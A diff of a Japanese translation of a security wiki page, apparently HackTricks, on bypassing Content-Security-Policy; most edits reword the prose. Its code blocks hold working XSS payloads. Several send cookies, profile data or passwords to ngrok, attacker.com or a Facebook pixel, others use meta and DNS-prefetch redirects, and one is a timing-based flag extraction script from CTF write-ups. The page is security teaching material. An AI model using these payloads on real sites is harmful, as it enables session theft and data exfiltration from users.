Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||||
```
|
```
|
||||||
このようなシナリオでは、`script-src`が`self`およびホワイトリストに登録された特定のドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:
|
このようなシナリオでは、`script-src`が`self`および特定のホワイトリストに登録されたドメインに設定されている場合、JSONPを使用してバイパスできます。JSONPエンドポイントは、安全でないコールバックメソッドを許可し、攻撃者がXSSを実行できるようにします。動作するペイロード:
|
||||||
```markup
|
```markup
|
||||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||||
@ -284,13 +284,13 @@ Content-Security-Policy: script-src 'self' https://www.google.com https://www.yo
|
|||||||
https://www.youtube.com/oembed?callback=alert;
|
https://www.youtube.com/oembed?callback=alert;
|
||||||
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
|
||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパス用の即使用可能なJSONPエンドポイントを含んでいます。**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **は、さまざまなウェブサイトのCSPバイパスに使用できるJSONPエンドポイントを含んでいます。**
|
||||||
|
|
||||||
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
|
**信頼されたエンドポイントにオープンリダイレクトが含まれている場合**、同じ脆弱性が発生します。なぜなら、初期のエンドポイントが信頼されている場合、リダイレクトも信頼されるからです。
|
||||||
|
|
||||||
### 第三者の悪用
|
### 第三者の悪用
|
||||||
|
|
||||||
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインが、データを抽出したりJavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
[以下の投稿](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses)で説明されているように、CSPのどこかで許可されている可能性のある多くの第三者ドメインがあり、これらはデータを抽出したり、JavaScriptコードを実行したりするために悪用される可能性があります。これらの第三者の一部は次のとおりです:
|
||||||
|
|
||||||
| エンティティ | 許可されたドメイン | 機能 |
|
| エンティティ | 許可されたドメイン | 機能 |
|
||||||
| ----------------- | -------------------------------------------- | ------------ |
|
| ----------------- | -------------------------------------------- | ------------ |
|
||||||
@ -303,7 +303,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||||
|
|
||||||
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したりコードを実行したりできる可能性があります。
|
ターゲットのCSPに許可されたドメインが見つかった場合、第三者サービスに登録することでCSPをバイパスし、そのサービスにデータを抽出したり、コードを実行したりできる可能性があります。
|
||||||
|
|
||||||
例えば、次のCSPが見つかった場合:
|
例えば、次のCSPが見つかった場合:
|
||||||
```
|
```
|
||||||
@ -313,16 +313,16 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||||||
```
|
```
|
||||||
Content-Security-Policy: connect-src www.facebook.com;
|
Content-Security-Policy: connect-src www.facebook.com;
|
||||||
```
|
```
|
||||||
データを抽出できるはずです。これは、[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
|
データを抽出することができるはずです。これは、[Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/)で常に行われてきたのと同様です。この場合、次の一般的な手順に従います。
|
||||||
|
|
||||||
1. ここでFacebook Developerアカウントを作成します。
|
1. ここでFacebook Developerアカウントを作成します。
|
||||||
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
|
2. 新しい「Facebook Login」アプリを作成し、「Website」を選択します。
|
||||||
3. 「Settings -> Basic」に移動し、「App ID」を取得します。
|
3. 「Settings -> Basic」に移動し、「App ID」を取得します。
|
||||||
4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
|
4. データを抽出したいターゲットサイトで、Facebook SDKガジェット「fbq」を使用して「customEvent」とデータペイロードを通じてデータを抽出できます。
|
||||||
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
5. アプリの「Event Manager」に移動し、作成したアプリケーションを選択します(イベントマネージャーは、次のようなURLで見つけることができます: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)。
|
||||||
6. 「Test Events」タブを選択して、「あなた」のウェブサイトから送信されるイベントを確認します。
|
6. 「Test Events」タブを選択して、「あなたの」ウェブサイトから送信されるイベントを確認します。
|
||||||
|
|
||||||
次に、被害者側で、攻撃者のFacebook Developerアカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するために以下のコードを実行します。
|
次に、被害者側で、攻撃者のFacebook開発者アカウントのapp-idを指すようにFacebookトラッキングピクセルを初期化し、次のようにカスタムイベントを発行するために以下のコードを実行します。
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
@ -343,7 +343,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
|
これは、ブラウザにとって `https://example.com/scripts/react/` の下にある `..%2fangular%2fangular.js` という名前のファイルを読み込んでいるため、CSPに準拠しています。
|
||||||
|
|
||||||
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` を要求します。これは `https://example.com/scripts/angular/angular.js` と同等です。
|
∑、彼らはそれをデコードし、実際には `https://example.com/scripts/react/../angular/angular.js` をリクエストします。これは `https://example.com/scripts/angular/angular.js` と同等です。
|
||||||
|
|
||||||
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
|
**ブラウザとサーバー間のURL解釈の不一致を利用することで、パスルールをバイパスできます**。
|
||||||
|
|
||||||
@ -359,7 +359,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
### **base-uri** が欠落している場合
|
### **base-uri** が欠落している場合
|
||||||
|
|
||||||
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/)を実行するために悪用できます。
|
**base-uri** ディレクティブが欠落している場合、[**ダングリングマークアップインジェクション**](../dangling-markup-html-scriptless-injection/index.html)を実行するために悪用できます。
|
||||||
|
|
||||||
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
|
さらに、**相対パスを使用してスクリプトを読み込んでいるページ**(例えば `<script src="/js/app.js">`)が **Nonce** を使用している場合、**base** **タグ**を悪用して**自分のサーバーからスクリプトを読み込ませ、XSSを達成できます。**\
|
||||||
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
|
脆弱なページが **httpS** で読み込まれている場合、baseにhttpS URLを使用してください。
|
||||||
@ -427,15 +427,15 @@ CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが
|
|||||||
|
|
||||||
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
|
したがって、最良の解決策は、ウェブサイトにオープンリダイレクトの脆弱性がないことを確認し、CSPルールで悪用できるドメインがないことです。
|
||||||
|
|
||||||
### ダンギングマークアップを使用したCSPのバイパス
|
### ダングリングマークアップを使用したCSPのバイパス
|
||||||
|
|
||||||
[こちらを読んでください](../dangling-markup-html-scriptless-injection/)。
|
[こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。
|
||||||
|
|
||||||
### 'unsafe-inline'; img-src \*; via XSS
|
### 'unsafe-inline'; img-src \*; via XSS
|
||||||
```
|
```
|
||||||
default-src 'self' 'unsafe-inline'; img-src *;
|
default-src 'self' 'unsafe-inline'; img-src *;
|
||||||
```
|
```
|
||||||
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページで任意のリソースから任意の画像を使用できることを意味します。
|
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味します(XSSはコードを実行できます)し、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
|
||||||
|
|
||||||
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
|
このCSPは、画像を介してデータを抽出することでバイパスできます(この場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
|
||||||
```javascript
|
```javascript
|
||||||
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
|||||||
```
|
```
|
||||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||||
|
|
||||||
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます(通常のXSSとして)それが**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます(通常のXSSのように)。これにより、**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||||
|
|
||||||
### サービスワーカーを使用して
|
### サービスワーカーを使用して
|
||||||
|
|
||||||
サービスワーカーの**`importScripts`**関数はCSPによって制限されません:
|
サービスワーカーの**`importScripts`**関数はCSPに制限されません:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/abusing-service-workers.md
|
../xss-cross-site-scripting/abusing-service-workers.md
|
||||||
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
|||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、あなたは**ポリシーを変更**して**無効にする**ことができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline'を許可**することができます:
|
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシーを無効にする**方法で**ポリシーを変更**することができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
@ -472,15 +472,15 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
|||||||
|
|
||||||
#### Edge
|
#### Edge
|
||||||
|
|
||||||
Edgeでははるかに簡単です。CSPにこれを追加するだけで: **`;_`** **Edge**は**ポリシー全体を削除します**。\
|
Edgeでは、はるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を破棄します**。\
|
||||||
例: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
例: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||||
|
|
||||||
### img-src \*; via XSS (iframe) - タイムアタック
|
### img-src \*; via XSS (iframe) - タイムアタック
|
||||||
|
|
||||||
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
|
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
|
||||||
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませることができます。この時、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
|
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者に情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
|
||||||
|
|
||||||
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります。
|
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**はスリープ関数のために**より多くの時間**を要します。そうすれば、フラグを抽出できるようになります:
|
||||||
```html
|
```html
|
||||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||||
@ -540,17 +540,17 @@ console.log(prefix)
|
|||||||
run()
|
run()
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
### ブックマークレットを介して
|
### Via Bookmarklets
|
||||||
|
|
||||||
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。
|
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせる**というソーシャルエンジニアリングを含むことになります。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことを可能にします**。
|
||||||
|
|
||||||
詳細については[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
詳細については、[**こちらで元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
|
||||||
|
|
||||||
### CSPを制限することによるCSPバイパス
|
### CSP bypass by restricting CSP
|
||||||
|
|
||||||
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込む**ことが可能になりました。
|
[**このCTFの解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限されたCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みが禁止され、その後、**プロトタイプ汚染**または**DOMクラッタリング**を介して**異なるスクリプトを悪用して任意のスクリプトを読み込むことができました**。
|
||||||
|
|
||||||
**`csp`**属性を使用して、**iframeのCSPを制限する**ことができます:
|
**`csp`**属性を使用して、**IframeのCSPを制限することができます**:
|
||||||
```html
|
```html
|
||||||
<iframe
|
<iframe
|
||||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
|||||||
```
|
```
|
||||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できれば(おそらくCRLFのため)、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に流出させることができます。そして、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**(おそらくCRLFのため)で応答するように管理できれば、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
|
||||||
|
|
||||||
例については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
例については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
|
||||||
|
|
||||||
@ -577,15 +577,15 @@ content="script-src 'self'
|
|||||||
document.querySelector("DIV").innerHTML =
|
document.querySelector("DIV").innerHTML =
|
||||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||||||
```
|
```
|
||||||
### CSPとIframeによる情報漏洩
|
### CSPとIframeを使用した情報漏洩
|
||||||
|
|
||||||
- `iframe`がCSPによって許可されたURL(例えば`https://example.redirect.com`)を指すように作成されます。
|
- `iframe`がCSPによって許可されたURL(これを`https://example.redirect.com`と呼びます)を指すように作成されます。
|
||||||
- このURLは、CSPによって**許可されていない**秘密のURL(例:`https://usersecret.example2.com`)にリダイレクトします。
|
- このURLは、CSPによって**許可されていない**秘密のURL(例:`https://usersecret.example2.com`)にリダイレクトします。
|
||||||
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
|
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
|
||||||
|
|
||||||
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。
|
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作により機密情報が漏洩する可能性があることは興味深いです。
|
||||||
|
|
||||||
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。例えば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです:
|
別の手法は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです:
|
||||||
```markdown
|
```markdown
|
||||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||||
```
|
```
|
||||||
@ -599,11 +599,11 @@ CSPによってブロックまたは許可されるリクエストを監視す
|
|||||||
|
|
||||||
### パラメータが多すぎるときのPHPエラー
|
### パラメータが多すぎるときのPHPエラー
|
||||||
|
|
||||||
この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため**送信されません**。
|
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると(1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能)、PHPウェブコードで定義された**`header()`**は、このエラーがトリガーされるため**送信されません**。
|
||||||
|
|
||||||
### PHPレスポンスバッファのオーバーロード
|
### PHPレスポンスバッファのオーバーロード
|
||||||
|
|
||||||
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**は**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
|
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス**が**CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
|
||||||
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
|
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
|
||||||
|
|
||||||
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
|
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
|
||||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOMEは、**ページのエンドポイント**でXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後、悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**に**アクセス**できます。詳細については、次を確認してください:
|
SOMEは、**ページのエンドポイント**でXSS(または非常に制限されたXSS)を悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOMにアクセス**できます。詳細については、次を確認してください:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||||
@ -627,7 +627,7 @@ SOMEは、**ページのエンドポイント**でXSS(または非常に制限
|
|||||||
|
|
||||||
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
|
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
|
||||||
|
|
||||||
攻撃者は、そのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
|
攻撃者はそのエンドポイントを悪用して、WordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
|
||||||
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
||||||
|
|
||||||
## CSP Exfiltration Bypasses
|
## CSP Exfiltration Bypasses
|
||||||
@ -636,23 +636,23 @@ SOMEは、**ページのエンドポイント**でXSS(または非常に制限
|
|||||||
|
|
||||||
### Location
|
### Location
|
||||||
|
|
||||||
攻撃者のサーバーに秘密情報を送信するために、単にロケーションを更新することができます:
|
攻撃者のサーバーに秘密の情報を送信するために、単にロケーションを更新することができます:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
document.location = "https://attacker.com/?" + sessionid
|
document.location = "https://attacker.com/?" + sessionid
|
||||||
```
|
```
|
||||||
### Metaタグ
|
### Meta tag
|
||||||
|
|
||||||
メタタグを挿入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)
|
メタタグを注入することでリダイレクトできます(これは単なるリダイレクトであり、コンテンツは漏れません)
|
||||||
```html
|
```html
|
||||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||||
```
|
```
|
||||||
### DNS Prefetch
|
### DNS Prefetch
|
||||||
|
|
||||||
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\
|
ページをより速く読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、それを後で使用するためにキャッシュします。\
|
||||||
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
|
ブラウザにホスト名を事前解決させるには、次のように指定できます: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
この動作を悪用して、**DNSリクエストを介して機密情報を漏洩させる**ことができます:
|
この動作を悪用して、**DNSリクエストを介して機密情報を流出させる**ことができます:
|
||||||
```javascript
|
```javascript
|
||||||
var sessionid = document.cookie.split("=")[1] + "."
|
var sessionid = document.cookie.split("=")[1] + "."
|
||||||
var body = document.getElementsByTagName("body")[0]
|
